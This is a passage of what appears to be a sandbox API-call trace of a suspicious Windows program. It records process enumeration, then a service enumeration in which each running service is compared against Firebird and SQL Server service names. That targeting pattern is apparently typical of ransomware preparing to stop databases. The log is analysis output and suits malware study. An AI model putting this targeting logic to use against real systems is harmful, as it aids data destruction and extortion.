th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.315] lstrlenW (lpString="winlogon.exe") returned 12 [0043.315] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.315] lstrlenW (lpString="services.exe") returned 12 [0043.315] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.316] lstrlenW (lpString="lsass.exe") returned 9 [0043.316] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.316] lstrlenW (lpString="lsm.exe") returned 7 [0043.316] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.317] lstrlenW (lpString="svchost.exe") returned 11 [0043.317] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.317] lstrlenW (lpString="svchost.exe") returned 11 [0043.317] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.318] lstrlenW (lpString="svchost.exe") returned 11 [0043.318] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.318] lstrlenW (lpString="svchost.exe") returned 11 [0043.318] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.319] lstrlenW (lpString="svchost.exe") returned 11 [0043.319] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.319] lstrlenW (lpString="audiodg.exe") returned 11 [0043.319] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.319] lstrlenW (lpString="svchost.exe") returned 11 [0043.320] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.320] lstrlenW (lpString="svchost.exe") returned 11 [0043.320] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.320] lstrlenW (lpString="dwm.exe") returned 7 [0043.320] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.321] lstrlenW (lpString="explorer.exe") returned 12 [0043.321] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.321] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.321] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.322] lstrlenW (lpString="taskhost.exe") returned 12 [0043.322] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.328] lstrlenW (lpString="svchost.exe") returned 11 [0043.328] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.328] lstrlenW (lpString="taskeng.exe") returned 11 [0043.328] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.329] lstrlenW (lpString="taskhost.exe") returned 12 [0043.329] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0043.329] lstrlenW (lpString="br_maintaining.exe") returned 18 [0043.329] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0043.329] lstrlenW (lpString="kitsenormous.exe") returned 16 [0043.329] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0043.330] lstrlenW (lpString="intermediate-components.exe") returned 27 [0043.330] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0043.330] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0043.330] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0043.331] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0043.331] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0043.331] lstrlenW (lpString="stupid.exe") returned 10 [0043.331] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0043.332] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0043.332] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0043.332] lstrlenW (lpString="addition.exe") returned 12 [0043.332] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0043.333] lstrlenW (lpString="kept retirement.exe") returned 19 [0043.333] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0043.333] lstrlenW (lpString="lmmold.exe") returned 10 [0043.333] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0043.333] lstrlenW (lpString="soma weighted.exe") returned 17 [0043.333] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0043.334] lstrlenW (lpString="cartridge donation.exe") returned 22 [0043.334] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0043.334] lstrlenW (lpString="anti.exe") returned 8 [0043.334] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0043.335] lstrlenW (lpString="cashiersshot.exe") returned 16 [0043.335] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0043.335] lstrlenW (lpString="poundfi.exe") returned 11 [0043.335] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0043.336] lstrlenW (lpString="conditions_hired.exe") returned 20 [0043.336] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0043.336] lstrlenW (lpString="mercedes.exe") returned 12 [0043.336] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0043.337] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0043.337] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0043.337] lstrlenW (lpString="training_wiring.exe") returned 19 [0043.337] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0043.338] lstrlenW (lpString="democratic.exe") returned 14 [0043.338] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0043.338] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0043.338] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0043.339] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0043.339] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0043.339] lstrlenW (lpString="documented.exe") returned 14 [0043.339] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.340] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.340] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0043.340] lstrlenW (lpString="n.exe") returned 5 [0043.340] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.340] lstrlenW (lpString="cmd.exe") returned 7 [0043.341] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.341] lstrlenW (lpString="conhost.exe") returned 11 [0043.341] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0043.341] CloseHandle (hObject=0x168) returned 1 [0043.342] Sleep (dwMilliseconds=0x1f4) [0044.055] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fb88 [0044.055] EnumServicesStatusExW (in: hSCManager=0x73fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0044.055] GetLastError () returned 0xea [0044.055] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x7190a0 [0044.056] EnumServicesStatusExW (in: hSCManager=0x73fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7190a0, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7190a0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0044.056] CloseServiceHandle (hSCObject=0x73fb88) returned 1 [0044.056] lstrlenW (lpString="Appinfo") returned 7 [0044.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.057] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.057] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.057] lstrlenW (lpString="AudioSrv") returned 8 [0044.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.057] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.057] lstrlenW (lpString="BFE") returned 3 [0044.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.057] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.057] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.057] lstrlenW (lpString="CryptSvc") returned 8 [0044.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.057] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.057] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.057] lstrlenW (lpString="CscService") returned 10 [0044.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.057] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.057] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.057] lstrlenW (lpString="DcomLaunch") returned 10 [0044.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.058] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.058] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.058] lstrlenW (lpString="Dhcp") returned 4 [0044.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.058] lstrlenW (lpString="Dnscache") returned 8 [0044.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.058] lstrlenW (lpString="DPS") returned 3 [0044.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.058] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.058] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.058] lstrlenW (lpString="eventlog") returned 8 [0044.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.058] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.058] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.058] lstrlenW (lpString="EventSystem") returned 11 [0044.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.058] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.058] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.058] lstrlenW (lpString="gpsvc") returned 5 [0044.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.059] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.059] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.059] lstrlenW (lpString="iphlpsvc") returned 8 [0044.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.059] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.059] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.059] lstrlenW (lpString="LanmanServer") returned 12 [0044.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.059] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.059] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.059] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.059] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.059] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.059] lstrlenW (lpString="lmhosts") returned 7 [0044.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.059] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.059] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.059] lstrlenW (lpString="MMCSS") returned 5 [0044.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 